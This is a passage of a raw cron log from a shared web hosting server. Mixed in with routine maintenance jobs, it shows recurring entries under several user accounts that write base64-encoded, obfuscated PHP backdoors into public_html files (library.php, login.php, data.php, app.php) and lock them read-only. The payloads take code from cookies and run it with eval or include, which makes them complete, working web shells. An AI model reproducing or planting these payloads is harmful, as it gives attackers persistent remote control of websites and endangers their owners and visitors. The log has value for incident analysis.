SkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:32:01 medusa CROND[26108]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:32:01 medusa CROND[26106]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:33:01 medusa CROND[15620]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:33:01 medusa CROND[15622]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:33:01 medusa CROND[15621]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:33:01 medusa CROND[15623]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:33:01 medusa CROND[15624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:33:01 medusa CROND[15625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:33:01 medusa CROND[15627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:33:01 medusa CROND[15626]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:33:01 medusa CROND[15633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:33:01 medusa CROND[15630]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:33:01 medusa CROND[15643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:33:01 medusa CROND[15644]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:34:01 medusa CROND[5316]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:34:01 medusa CROND[5366]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:34:01 medusa CROND[5390]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:34:01 medusa CROND[5456]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:34:01 medusa CROND[5457]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:34:01 medusa CROND[5458]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:34:01 medusa CROND[5459]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:34:01 medusa CROND[5461]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:34:01 medusa CROND[5462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:34:01 medusa CROND[5467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:34:01 medusa CROND[5463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:34:01 medusa CROND[5470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogIC